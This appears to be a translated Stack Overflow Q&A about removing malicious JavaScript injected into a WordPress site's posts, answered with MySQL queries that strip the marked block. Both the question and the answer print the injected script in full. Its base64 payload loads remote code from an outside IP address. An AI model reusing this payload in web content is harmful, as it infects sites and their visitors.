如何从SQL注入攻击中删除帖子中的脚本?

Ale*_*rge 5 wordpress sql-injection

我有一个插件,使我的Wordpress网站容易受到SQL注入攻击。从那以后,我锁定了我的网站并删除了所有Wordpress文件,然后重新安装了Wordpress。此插件也已被删除。不幸的是,我现在所有2503个帖子都安装了以下示例脚本:

<!--codes_iframe-->
<script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script>
<!--/codes_iframe-->
Run Code Online (Sandbox Code Playgroud)

问题是,当我搜索特定脚本时,base64字符串对于每个帖子都是不同的。因此,我不能只是查找并替换/删除。

我的想法是,由于脚本的开头和结尾实际上都已注释,因此数据库查询不能以某种方式删除它们之间的代码,然后第二个查询删除注释吗?如果是这样,我在任何地方都找不到。这似乎很容易做到,但是显然(根据Google的说法)非常复杂。

希望有人可以在程序上进行补救。同时,我将手动执行此删除操作,希望有人可以为我节省一些时间。

Bil*_*win 6

MySQL 8.0引入了新功能REGEXP_REPLACE(),但是如果您使用的是MySQL的早期版本,则可以使用LOCATE()在文本中查找开始和结束位置,然后在这两个位置之间切掉内容。

我对此进行了测试-创建了一个表格wp_mytable,并将您有问题的文字放入表格中,前后添加了一些文字。

mysql> select * from wp_mytable\G
*************************** 1. row ***************************
 id: 1
txt: ABC 123
<!--codes_iframe-->
<script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"></script>')} </script>
<!--/codes_iframe-->
And that's all, folks.
1 row in set (0.00 sec)
Run Code Online (Sandbox Code Playgroud)

LOCATE()可以找到打开和关闭标签:

mysql> SELECT LOCATE('<!--codes_iframe-->', txt) as start from wp_mytable;
+-------+
| start |
+-------+
|     9 |
+-------+

mysql> SELECT LOCATE('<!--/codes_iframe-->', txt) as end from wp_mytable;
+------+
| end  |
+------+
|  830 |
+------+
Run Code Online (Sandbox Code Playgroud)

现在,如果我们用txt位置9之前和位置830+之后的内容替换LENGTH('<!--/codes_iframe-->'),将删除有问题的内容。

首先使用SELECT进行测试:

mysql> SELECT 
  SUBSTRING(txt, 1, LOCATE('<!--codes_iframe-->', txt)-1) AS pre_txt,
  SUBSTRING(txt, LOCATE('<!--/codes_iframe-->', txt)+LENGTH('<!--/codes_iframe-->')) AS post_txt 
  FROM wp_mytable\G
*************************** 1. row ***************************
 pre_txt: ABC 123

post_txt: 
And that's all, folks.
Run Code Online (Sandbox Code Playgroud)

当我们确信这是正确的子字符串时,请将各个片段连接在一起并在UPDATE中使用它们:

mysql> UPDATE wp_mytable SET txt = CONCAT(
  SUBSTRING(txt, 1, LOCATE('<!--codes_iframe-->', txt)-1),
  SUBSTRING(txt, LOCATE('<!--/codes_iframe-->', txt)+LENGTH('<!--/codes_iframe-->')))
  WHERE LOCATE('<!--codes_iframe-->', txt) > 0;
Run Code Online (Sandbox Code Playgroud)

与往常一样,在尝试此类手术之前,请备份数据。

我还想到,完成替换后,应该再次搜索数据,以防在给定的文本中两次插入有问题的脚本。替换方法仅除去第一次出现的情况,但您希望这样做。您不想删除两次脚本之间的合法文本。

顺便说一句,很遗憾听到您遭到SQL注入攻击的攻击。人们有时会吮吸。